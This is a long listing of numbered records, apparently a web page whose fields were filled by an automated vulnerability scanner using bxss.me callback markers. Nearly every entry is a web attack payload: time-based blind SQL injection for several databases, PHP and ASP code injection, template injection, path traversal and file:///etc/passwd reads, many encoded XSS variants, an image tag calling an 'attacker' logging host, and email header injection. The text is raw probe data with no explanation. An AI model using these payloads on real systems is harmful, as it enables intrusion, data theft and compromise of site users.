bxss.me
262
1

1, 1

1
263
1

1, 1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
264
1

1, 1

../../../../../../../../../../../../../../windows/win.ini
265
1

1, 1

file:///etc/passwd
266
1

1, 1

';print(md5(31337));$a='
267

1, 1

1
268
1

1, 1

";print(md5(31337));$a="
269
1

1, 1

1
270
1

1, 1

${@print(md5(31337))}
271
1

1, 1

1
272
1

1, 1

../1
273
1

1, 1

${@print(md5(31337))}\
274
1

1, 1

'.print(md5(31337)).'
275
if(now()=sysdate(),sleep(15),0)

1, 1

1
276
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1, 1

1
277
1

1, 1

1
278
dfb{{98991*97996}}xca

1, 1

1
279
dfb[[${98991*97996}]]xca

1, 1

1
280
dfb__${98991*97996}__::.x

1, 1

1
281
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1, 1

1
282
1

1, 1

1
283
1MRTJT[!+!]

1, 1

1
284
1

1, 1

1
285
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6A%75%68%57%28%39%33%30%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1, 1

1
286
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1, 1

1
287
1

1, 1

1
288
1

1, 1

1
289
1

1, 1

1
290
1

1, 1

1
291
1

1, 1

1
292
1

1, 1

1
293
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1, 1

1
294
1

1, 1

1
295
1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />

1, 1

1
296
1<img src="xyz" alt="xyz" />

1, 1

1
297
1" onerror=alert(9837)&gt;

1, 1

1
298
%31%3C%53%63%52%69%50%74%20%3E%6A%75%68%57%289964%29%3C%2F%73%43%72%69%70%54%3E

1, 1

1
299
1\u003CScRiPt\juhW(9961)\u003C/sCripT\u003E

1, 1

1
300
1&lt;ScRiPt&gt;juhW(9289)&lt;/sCripT&gt;

1, 1

1
301
img zzz onmouseover=juhW(96401) //

1, 1

1
302
1

1, 1

1
303
<a href="http://xss.bxss.me"></a>

1, 1

1
304
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1, 1

1
305
<a></a>

1, 1

1
306
1}body{zzz:Expre/**/SSion(juhW(9256))}

1, 1

1
307
1xGlbV

1, 1

1
308
1QUKY6[!+!]

1, 1

1
309
1

1, 1

1
310
1

1, 1

1
311
1<img src="http://attacker-9773/log.php?" alt="html&gt;" />

1, 1

1
312
1

1, 1

1
313
-1; waitfor delay '0:0:15' --

1, 1

1
314
1

1, 1'"()&amp;%

1
315
1

1, '"()&amp;%

1
316
1

1, 19692224

1
317
1

1, bfg10028%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10028

1
318
1

1, bfgx5544%C0%BEz1%C0%BCz2a%90bcxhjl5544

1
319
1

1, &lt;%={{={@{#{${dfb}}%&gt;

1
320
1

1, 1

1
321
-1); waitfor delay '0:0:15' --

1, 1

1
322
1

1, 1

1
323
1

1, 1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

1
324
1

1, 1

1
325
1

1, dfb{{98991*97996}}xca

1
326
1

1, dfb[[${98991*97996}]]xca

1
327
1

1, dfb__${98991*97996}__::.x

1
328
1

1, "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1
329
1

1, 1

1
330
1

1, 1ZUGCX[!+!]

1
331
1

1, 1

1
332
1 waitfor delay '0:0:15' --

1, 1

1
333
1

1, 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6A%75%68%57%28%39%38%34%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1
334
1

1, 1

1
335
1

1, 1

1
336
1

1, 1

1
337
1

1, 1

1
338
1

1, 1

1
339
1

1, 1

1
340
1

1, 1

1
341
1

1, 1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />

1
342
1

1, 1<img src="xyz" alt="xyz" />

1
343
1

1, 1" onerror=alert(9223)&gt;

1
344
1

1, %31%3C%53%63%52%69%50%74%20%3E%6A%75%68%57%289173%29%3C%2F%73%43%72%69%70%54%3E

1
345
1

1, 1\u003CScRiPt\juhW(9161)\u003C/sCripT\u003E

1
346
1

1, 1&lt;ScRiPt&gt;juhW(9862)&lt;/sCripT&gt;

1
347
QxayEZnM'; waitfor delay '0:0:15' --

1, 1

1
348
1

1, img zzz onmouseover=juhW(94461) //

1
349
1

1, 1

1
350
1

1, <a href="http://xss.bxss.me"></a>

1
351
1

1, <a></a>

1
352
1

1, 1}body{zzz:Expre/**/SSion(juhW(9713))}

1
353
1

1, 1vU30G

1
354
1

1, 1DUCAS[!+!]

1
355
-5 OR 476=(SELECT 476 FROM PG_SLEEP(15))--

1, 1

1
356
1

1, 1

1
357
1

1, 1

1
358
1

1, 1<img src="http://attacker-9294/log.php?" alt="html&gt;" />

1
359
1

1, 1

1
360
1

1'"()&amp;%, 1

1
361
1

'"()&amp;%, 1

1
362
1

19807733, 1

1
363
1

bfg7765%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7765, 1

1
364
-5) OR 757=(SELECT 757 FROM PG_SLEEP(15))--

1, 1

1
365
1

bfgx7398%C0%BEz1%C0%BCz2a%90bcxhjl7398, 1

1
366
1

&lt;%={{={@{#{${dfb}}%&gt;, 1

1
367
1

1, 1

1
368
1

1, 1

1
369
1

1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;, 1

1
370
1

1, 1

1
371
1

dfb{{98991*97996}}xca, 1

1
372
-1)) OR 350=(SELECT 350 FROM PG_SLEEP(15))--

1, 1

1
373
1

dfb[[${98991*97996}]]xca, 1

1
374
1

dfb__${98991*97996}__::.x, 1

1
375
1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o"), 1

1
376
1

1, 1

1
377
1

1KWYG1[!+!], 1

1
378
g5fEjPGg' OR 202=(SELECT 202 FROM PG_SLEEP(15))--

1, 1

1
379
1

1, 1

1
380
1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6A%75%68%57%28%39%32%33%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E, 1

1
381
1

1, 1

1
382
1

1, 1

1
383
1

1, 1

1
384
1

1, 1

1
385
0LhrGZWA') OR 90=(SELECT 90 FROM PG_SLEEP(15))--

1, 1

1
386
1

1, 1

1
387
1

1, 1

1
388
1

1, 1

1
389
1

1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />, 1

1
390
1

1<img src="xyz" alt="xyz" />, 1

1
391
1

1" onerror=alert(9101)&gt;, 1

1
392
1

%31%3C%53%63%52%69%50%74%20%3E%6A%75%68%57%289023%29%3C%2F%73%43%72%69%70%54%3E, 1

1
393
Ts0tQmnW')) OR 325=(SELECT 325 FROM PG_SLEEP(15))--

1, 1

1
394
1

1\u003CScRiPt\juhW(9119)\u003C/sCripT\u003E, 1

1
395
1

1&lt;ScRiPt&gt;juhW(9532)&lt;/sCripT&gt;, 1

1
396
1

img zzz onmouseover=juhW(94431) //, 1

1
397
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1, 1

1
398
1

1, 1

1
399
1

<a href="http://xss.bxss.me"></a>, 1

1
400
1

<a></a>, 1

1
401
1

1}body{zzz:Expre/**/SSion(juhW(9907))}, 1

1
402
1

1rXGUj , 1

1
403
1

1UR4FM[!+!], 1

1
404
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1, 1

1
405
1'"

1, 1

1
406
1%2527%2522

1, 1

1
407
1

1, 1

1
408
@@MRq5A

1, 1

1
409
1

1, 1

1
410
1

1<img src="http://attacker-9405/log.php?" alt="html&gt;" />, 1

1
411
1

1, 1

1
412
1

1, 1

1
413
1

1, 1

1
414
1

1, 1

1'"()&amp;%
415
1

1, 1

'"()&amp;%
416
1

1, 1

19867913
417
1

1, 1

bfg5527%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5527
418
1

1, 1

bfgx9449%C0%BEz1%C0%BCz2a%90bcxhjl9449
419
1

1, 1

&lt;%={{={@{#{${dfb}}%&gt;
420
1

1, 1

1
421
1

1, 1

422
1

1, 1

1
423
1

1, 1

1
424
1

1, 1

1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;
425
1

1, -1 OR 2+835-835-1=0+0+0+1 --

1
426
1

1, -1 OR 2+224-224-1=0+0+0+1

1
427
1

1, 1

1
428
1

1, -1' OR 2+951-951-1=0+0+0+1 --

1
429
1

1, -1' OR 2+236-236-1=0+0+0+1 or 'ueN0xZif'='

1
430
1

1, 1

dfb{{98991*97996}}xca
431
1

1, 1

dfb[[${98991*97996}]]xca
432
1

1, -1" OR 2+721-721-1=0+0+0+1 --

1
433
1

1, 1

dfb__${98991*97996}__::.x
434
1

1, 1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
435
1

1, 1

1
436
1

1, 1

1NSLN0[!+!]
437
1

1, 1

1
438
1

1, 1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6A%75%68%57%28%39%32%39%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
439
1

1, 1

1
440
1

1, if(now()=sysdate(),sleep(15),0)

1
441
1

1, 1

1
442
1

1, 1

1
443
1

1, 1

1
444
1

1, 1

1
445
1

1, 1

1
446
1

1, 1

1
447
1

1, 1

1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />
448
1

1, 1

1<img src="xyz" alt="xyz" />
449
1

1, 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1
450
1

1, 1

1" onerror=alert(9561)&gt;
451
1

1, 1

%31%3C%53%63%52%69%50%74%20%3E%6A%75%68%57%289284%29%3C%2F%73%43%72%69%70%54%3E
452
1

1, 1

1\u003CScRiPt\juhW(9540)\u003C/sCripT\u003E
453
1

1, 1

1&lt;ScRiPt&gt;juhW(9842)&lt;/sCripT&gt;
454
1

1, 1

img zzz onmouseover=juhW(98471) //
455
1

1, 1

1
456
1

1, 1

<a href="http://xss.bxss.me"></a>
457
1

1, 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1
458
1

1, 1

<a></a>
459
1

1, 1

1}body{zzz:Expre/**/SSion(juhW(9641))}
460
1

1, 1

1l11TI
461
1

1, 1

12LRGW[!+!]
462
1

1, 1

1
463
1

1, 1

1
464
1

1, 1

1<img src="http://attacker-9113/log.php?" alt="html&gt;" />
465
1

1, 1

1
466
1

1, (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1
467
1

1, -1; waitfor delay '0:0:15' --

1
468
1

1, -1); waitfor delay '0:0:15' --

1
469
1

1, 1 waitfor delay '0:0:15' --

1
470
1

1, IARo9m0J'; waitfor delay '0:0:15' --

1
471
1

1, -5 OR 324=(SELECT 324 FROM PG_SLEEP(15))--

1
472
1

1, -5) OR 293=(SELECT 293 FROM PG_SLEEP(15))--

1
473
1

1, -1)) OR 448=(SELECT 448 FROM PG_SLEEP(15))--

1
474
1

1, eFdNWBP1' OR 611=(SELECT 611 FROM PG_SLEEP(15))--

1
475
1

1, yQzfF9YY') OR 332=(SELECT 332 FROM PG_SLEEP(15))--

1
476
1

1, iJStlTSg')) OR 856=(SELECT 856 FROM PG_SLEEP(15))--

1
477
1

1, 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1
478
1

1, 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1
479
1

1, 1'"

1
480
1

1, 1%2527%2522

1
481
1

1, @@chNPi

1
482
1

1, 1

1
483
1

1, 1

1
484
1

-1 OR 2+705-705-1=0+0+0+1 -- , 1

1
485
1

-1 OR 2+344-344-1=0+0+0+1, 1

1
486
1

-1' OR 2+93-93-1=0+0+0+1 -- , 1

1
487
1

-1' OR 2+377-377-1=0+0+0+1 or 'tyQyduEt'=', 1

1
488
1

-1" OR 2+57-57-1=0+0+0+1 -- , 1

1
489
1

if(now()=sysdate(),sleep(15),0), 1

1
490
1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z, 1

1
491
1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z, 1

1
492
1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/, 1

1
493
1

-1; waitfor delay '0:0:15' -- , 1

1
494
1

-1); waitfor delay '0:0:15' -- , 1

1
495
1

1 waitfor delay '0:0:15' -- , 1

1
496
1

bIEDxNH6'; waitfor delay '0:0:15' -- , 1

1
497
1

-5 OR 501=(SELECT 501 FROM PG_SLEEP(15))--, 1

1
498
1

-5) OR 528=(SELECT 528 FROM PG_SLEEP(15))--, 1

1
499
1

-1)) OR 475=(SELECT 475 FROM PG_SLEEP(15))--, 1

1
500
1

Jt1vlfPH' OR 974=(SELECT 974 FROM PG_SLEEP(15))--, 1

1
501
1

ac67yPPU') OR 86=(SELECT 86 FROM PG_SLEEP(15))--, 1

1
502
1

jxhMKJ7o')) OR 423=(SELECT 423 FROM PG_SLEEP(15))--, 1

1
503
1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15), 1

1
504
1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||', 1

1
505
1

1'", 1

1
506
1

1%2527%2522, 1

1
507
1

@@79TAn, 1

1
508
1

1, 1

1
509
1

1, 1

1
510
1

1, 1

1
511
1

1, 1

1
512
1

1, 1

-1 OR 2+814-814-1=0+0+0+1 --
513
1

1, 1

-1 OR 2+329-329-1=0+0+0+1
514
1

1, 1

-1' OR 2+164-164-1=0+0+0+1 --
515
1

1, 1

-1' OR 2+828-828-1=0+0+0+1 or 'WhugV8y6'='
516
1

1, 1

-1" OR 2+445-445-1=0+0+0+1 --
517
1

1, 1

if(now()=sysdate(),sleep(15),0)
518
1

1, 1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
519
1

1, 1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
520
1

1, 1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
521
1

1, 1

-1; waitfor delay '0:0:15' --
522
1

1, 1

-1); waitfor delay '0:0:15' --
523
1

1, 1

1 waitfor delay '0:0:15' --
524
1

1, 1

hvALVYL9'; waitfor delay '0:0:15' --
525
1

1, 1

-5 OR 615=(SELECT 615 FROM PG_SLEEP(15))--
526
1

1, 1

-5) OR 161=(SELECT 161 FROM PG_SLEEP(15))--
527
1

1, 1

-1)) OR 747=(SELECT 747 FROM PG_SLEEP(15))--
528
1

1, 1

9Sy2PvMV' OR 555=(SELECT 555 FROM PG_SLEEP(15))--
529
1

1, 1

FbQWc9pa') OR 787=(SELECT 787 FROM PG_SLEEP(15))--
530
1

1, 1

dQTiLRih')) OR 876=(SELECT 876 FROM PG_SLEEP(15))--
531
1

1, 1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
532
1

1, 1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
533
1

1, 1

1'"
534
1

1, 1

1%2527%2522
535
1

1, 1

@@hmlJI
536
1

1, 1

1
537
1

1, 1

1
538
1

1, 1

1
539
1

1, 1

1
540
1'"()&amp;%

1, 1

1
541
'"()&amp;%

1, 1

1
542
1

1'"()&amp;%, 1

1
543
19830034

1, 1

1
544
1

'"()&amp;%, 1

1
545
1

1, 1

1'"()&amp;%
546
1

19385850, 1

1
547
bfg5553%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5553

1, 1

1
548
1

1, 1

'"()&amp;%
549
1

bfg7262%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7262, 1

1
550
1

1, 1

19421588
551
bfgx6602%C0%BEz1%C0%BCz2a%90bcxhjl6602

1, 1

1
552
1

1, 1'"()&amp;%

1
553
1

bfgx8409%C0%BEz1%C0%BCz2a%90bcxhjl8409, 1

1
554
1

1, 1

bfg9109%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9109
555
&lt;%={{={@{#{${dfb}}%&gt;

1, 1

1
556
1

&lt;%={{={@{#{${dfb}}%&gt;, 1

1
557
1

1, 1

1
558
1

1, '"()&amp;%

1
559
1

1, 1

1
560
1

1, 1

bfgx7631%C0%BEz1%C0%BCz2a%90bcxhjl7631
561

1, 1

1
562
1

1, 1

&lt;%={{={@{#{${dfb}}%&gt;
563
1

1, 1

1
564
1

1, 19625436

1
565
1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

1, 1

1
566
1

1, 1

1
567
1

1, 1

1
568
1

1, 1

569
1

1, bfg6387%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6387

1
570
1

1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;, 1

1
571
1

1, 1

1
572
1

1, bfgx3566%C0%BEz1%C0%BCz2a%90bcxhjl3566

1
573
1

1, 1

1
574
1

1, 1

1
575
dfb{{98991*97996}}xca

1, 1

1
576
1

1, 1

1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;
577
1

dfb{{98991*97996}}xca, 1

1
578
1

1, &lt;%={{={@{#{${dfb}}%&gt;

1
579
1

1, 1

1
580
1

1, 1

1
581
dfb[[${98991*97996}]]xca

1, 1

1
582
1

dfb[[${98991*97996}]]xca, 1

1
583
dfb__${98991*97996}__::.x

1, 1

1
584
1

1, 1

dfb{{98991*97996}}xca
585
1

dfb__${98991*97996}__::.x, 1

1
586
1

1, 1

1
587
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1, 1

1
588
1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o"), 1

1
589
1

1, 1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

1
590
1

1, 1

1
591
1

1, 1

1
592
1

1, 1

dfb[[${98991*97996}]]xca
593
1

1, 1

1
594
1ESNLV[!+!]

1, 1

1
595
1

1RA9PJ[!+!], 1

1
596
1

1, 1

dfb__${98991*97996}__::.x
597
1

1, 1

1
598
1

1, dfb{{98991*97996}}xca

1
599
1

1, 1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
600
1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%45%34%63%35%28%39%31%37%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E, 1

1
601
1

1, 1

1
602
1

1, 1

1
603
1

1, dfb[[${98991*97996}]]xca

1
604
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%30%43%45%78%28%39%32%32%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1, 1

1
605
1

1, 1

1
606
1

1, 1

1
607
1

1, dfb__${98991*97996}__::.x

1
608
1

1, 1

11YSSD[!+!]
609
1

1, 1

1
610
1

1, 1

1
611
1

1, "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1
612
1

1, 1

1
613
1

1, 1

1
614
1

1, 1

1
615
1

1, 1

1
616
1

1, 1

1
617
1

1, 1

1
618
1

1, 1

1
619
1

1, 1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%56%58%7A%33%28%39%37%39%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
620
1

1, 1

1
621
1

1, 1

1
622
1

1, 1

1
623
1

1, 1

1
624
1

1, 1NXHIW[!+!]

1
625
1

1, 1

1
626
1

1, 1

1
627
1

1, 1

1
628
1

1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />, 1

1
629
1

1, 1

1
630
1

1, 1

1
631
1

1<img src="xyz" alt="xyz" />, 1

1
632
1

1, 1

1
633
1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />

1, 1

1
634
1

1, 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%43%4D%4B%52%28%39%34%35%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1
635
1

1" onerror=alert(9616)&gt;, 1

1
636
1

1, 1

1
637
1

%31%3C%53%63%52%69%50%74%20%3E%45%34%63%35%289231%29%3C%2F%73%43%72%69%70%54%3E, 1

1
638
1

1, 1

1
639
1

1, 1

1
640
1<img src="xyz" alt="xyz" />

1, 1

1
641
1

1\u003CScRiPt\E4c5(9504)\u003C/sCripT\u003E, 1

1
642
1

1, 1

1
643
1" onerror=alert(9301)&gt;

1, 1

1
644
1

1&lt;ScRiPt&gt;E4c5(9544)&lt;/sCripT&gt;, 1

1
645
1

1, 1

1
646
1

img zzz onmouseover=E4c5(95561) //, 1

1
647
%31%3C%53%63%52%69%50%74%20%3E%30%43%45%78%289520%29%3C%2F%73%43%72%69%70%54%3E

1, 1

1
648
1

1, 1

1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />
649
1

1, 1

1
650
1

1, 1

1
651
1

1, 1

1<img src="xyz" alt="xyz" />
652
1

<a href="http://xss.bxss.me"></a>, 1

1
653
1\u003CScRiPt\0CEx(9345)\u003C/sCripT\u003E

1, 1

1
654
1

1, 1

1
655
1

1, 1

1" onerror=alert(9457)&gt;
656
1

<a></a>, 1

1
657
1&lt;ScRiPt&gt;0CEx(9534)&lt;/sCripT&gt;

1, 1

1
658
1

1, 1

1
659
img zzz onmouseover=0CEx(97041) //

1, 1

1
660
1

1}body{zzz:Expre/**/SSion(E4c5(9382))}, 1

1
661
1

1, 1

1
662
1

1, 1

%31%3C%53%63%52%69%50%74%20%3E%56%58%7A%33%289290%29%3C%2F%73%43%72%69%70%54%3E
663
1

1, 1

1
664
<a href="http://xss.bxss.me"></a>

1, 1

1
665
1

1T2Xph , 1

1
666
1

1, 1

1\u003CScRiPt\VXz3(9670)\u003C/sCripT\u003E
667
<a></a>

1, 1

1
668
1

1, 1

1
669
1

1LSX6J[!+!], 1

1
670
1

1, 1

1&lt;ScRiPt&gt;VXz3(9422)&lt;/sCripT&gt;
671
1}body{zzz:Expre/**/SSion(0CEx(9712))}

1, 1

1
672
1

1, 1

img zzz onmouseover=VXz3(95631) //
673
1

1, 1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />

1
674
12Du7n

1, 1

1
675
1

1, 1

1
676
1

1, 1

1
677
1

1, 1

1
678
1SZGY1[!+!]

1, 1

1
679
1

1, 1<img src="xyz" alt="xyz" />

1
680
1

1, 1

<a href="http://xss.bxss.me"></a>
681
1

1, 1

1
682
1

1<img src="http://attacker-9301/log.php?" alt="html&gt;" />, 1

1
683
1

1, 1" onerror=alert(9617)&gt;

1
684
1

1, 1

1
685
1

1, 1

1
686
1

1, %31%3C%53%63%52%69%50%74%20%3E%43%4D%4B%52%289908%29%3C%2F%73%43%72%69%70%54%3E

1
687
1

1, 1

<a></a>
688
1<img src="http://attacker-9413/log.php?" alt="html&gt;" />

1, 1

1
689
1

1, 1

1}body{zzz:Expre/**/SSion(VXz3(9784))}
690
1

1, 1\u003CScRiPt\CMKR(9194)\u003C/sCripT\u003E

1
691
1

1, 1

1
692
1

1, 1

14RWFu
693
1

1, 1&lt;ScRiPt&gt;CMKR(9766)&lt;/sCripT&gt;

1
694
1

1, 1

1CBCMF[!+!]
695
1

1, img zzz onmouseover=CMKR(95961) //

1
696
1

1, 1

1
697
1

1, 1

1
698
1

1, 1

1
699
1

1, <a href="http://xss.bxss.me"></a>

1
700
1

1, 1

1<img src="http://attacker-9332/log.php?" alt="html&gt;" />
701
1

1, <a></a>

1
702
1

1, 1

1
703
1

1, 1}body{zzz:Expre/**/SSion(CMKR(9453))}

1
704
1

1, 1xbOXo

1
705
1

1, 1TE9MN[!+!]

1
706
1

1, 1

1
707
1

1, 1

1
708
1

1, 1<img src="http://attacker-9733/log.php?" alt="html&gt;" />

1
709
1

1, 1

1
710
1

1, 1

1
711
1

1, 1

1
712
1

1, 1

1
713
1

1, 1

1
714
1

1, 1

1
715
1

1, 1

1
716
1

1, 1

1
717
1'"()&amp;%

1, 1

1
718
1

1, 1

1
719
1

1, 1

1
720
'"()&amp;%

1, 1

1
721
1f6PZ0GhnO

1, 1

1
722
1

1, 1

1
723
1

1, 1CcNHk88LpO

1
724
1

1D3apVFBM6O, 1

1
725
19732026

1, 1

1
726
1

1, 1

1BpFTI5DLO
727
bfg10098%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10098

1, 1

1
728
1

1, 1'"()&amp;%

1
729
bfgx1039%C0%BEz1%C0%BCz2a%90bcxhjl1039

1, 1

1
730
&lt;%={{={@{#{${dfb}}%&gt;

1, 1

1
731
1

1, '"()&amp;%

1
732
1

1'"()&amp;%, 1

1
733
1

1, 1

1'"()&amp;%
734
1

'"()&amp;%, 1

1
735
1

1, 1

1
736
1

1, 1

1
737
1

1, 19199069

1
738
1

1, 1

1
739
1

1, 1

'"()&amp;%
740

1, 1

1
741
1

19441960, 1

1
742
1

1, 1

1
743
1

1, 1

1
744
1

1, 1

1
745
1

1, bfg2348%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2348

1
746
1

bfg6710%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6710, 1

1
747
1

1, 1

19284676
748
1

1, 1

1
749
1

1, bfgx1847%C0%BEz1%C0%BCz2a%90bcxhjl1847

1
750
1

1, 1

1
751
1

1, 1

1
752
1

1, 1

1
753
1

bfgx7380%C0%BEz1%C0%BCz2a%90bcxhjl7380, 1

1
754
1

1, 1

1
755
1

1, 1

1
756
1

1, 1

1
757
1

1, &lt;%={{={@{#{${dfb}}%&gt;

1
758
1

1, 1

1
759
1

1, 1

bfg6122%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6122
760
1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

1, 1

1
761
response.write(9449041*9714141)

1, 1

1
762
1

1, 1

1
763
1

&lt;%={{={@{#{${dfb}}%&gt;, 1

1
764
'+response.write(9449041*9714141)+'

1, 1

1
765
1

1, 1

1
766
1

1, 1

1
767
"+response.write(9449041*9714141)+"

1, 1

1
768
1

1, response.write(9809749*9741670)

1
769
1

1, 1

1
770
1

1, 1

bfgx8726%C0%BEz1%C0%BCz2a%90bcxhjl8726
771
1

1, 1

1
772
1

1, '+response.write(9809749*9741670)+'

1
773
1

1, 1

1
774
1

1, 1

1
775
1

1, "+response.write(9809749*9741670)+"

1
776
1

1, 1

1
777
dfb{{98991*97996}}xca

1, 1

1
778
1

response.write(9257346*9040972), 1

1
779
1

1, 1

1
780
1

1, 1

1
781
1

1, 1

&lt;%={{={@{#{${dfb}}%&gt;
782
1

1, 1

1
783
1

1, 1

1
784
1

'+response.write(9257346*9040972)+', 1

1
785
1

1, 1

1
786
1

"+response.write(9257346*9040972)+", 1

1
787
1

1, 1

1
788
1

1, 1

1
789
1

1, 1

1
790
1

1, 1

1
791
1

1, 1

1
792
1

1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;, 1

1
793
dfb[[${98991*97996}]]xca

1, 1

1
794
1

1, 1

1
795
1

1, 1

1
796
1

1, 1

797
1

1, 1

1
798
1

1, 1

1
799
1

1, 1

response.write(9182406*9130986)
800
1

1, 1

1
801
1

1, 1

1
802
1

1, 1

'+response.write(9182406*9130986)+'
803
1

1, 1

1
804
1

1, 1

1
805
1

1, 1

1
806
1

1, 1

1
807
1

1, 1

"+response.write(9182406*9130986)+"
808
dfb__${98991*97996}__::.x

1, 1

1
809
1

dfb{{98991*97996}}xca, 1

1
810
1

1, 1

1
811
1

1, 1

1
812
1

1, 1

1
813
1

1, 1

1
814
1

1, 1

1
815
1

1, 1

1
816
1

1, 1

1
817
1

1, 1

1
818
1

1, 1

1
819
1

1, 1

1
820
1

1, 1

1
821
1

dfb[[${98991*97996}]]xca, 1

1
822
1

1, 1

1
823
1

1, 1

1
824
1

1, 1

1
825
1

1, 1

1
826
1

1, 1

1
827
1

1, 1

1
828
1

1, 1

1
829
1

1, 1

1
830
1

1, 1

1
831
1

1, 1

1
832
1%0abcc:009247.2024-94733.2024.789af.19661.2@bxss.me

1, 1

1
833
1

1, 1

1
834
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1, 1

1
835
1

1, 1

1
836
1

1, 1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

1
837
1

1, 1

1
838
1

dfb__${98991*97996}__::.x, 1

1
839
to@example.com&gt;%0d%0abcc:009247.2024-94734.2024.789af.19661.2@bxss.me

1, 1

1
840
1

1, 1

1
841
1

1, 1

1
842
1

1, 1

1
843
1

1, 1

1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;
844
1

1, 1

1
845
1

1, 1

1
846
1

1, 1%0abcc:009247.2024-94735.2024.789af.19661.2@bxss.me

1
847
1

1, 1

1
848
1

1, 1

1
849
1

1, 1

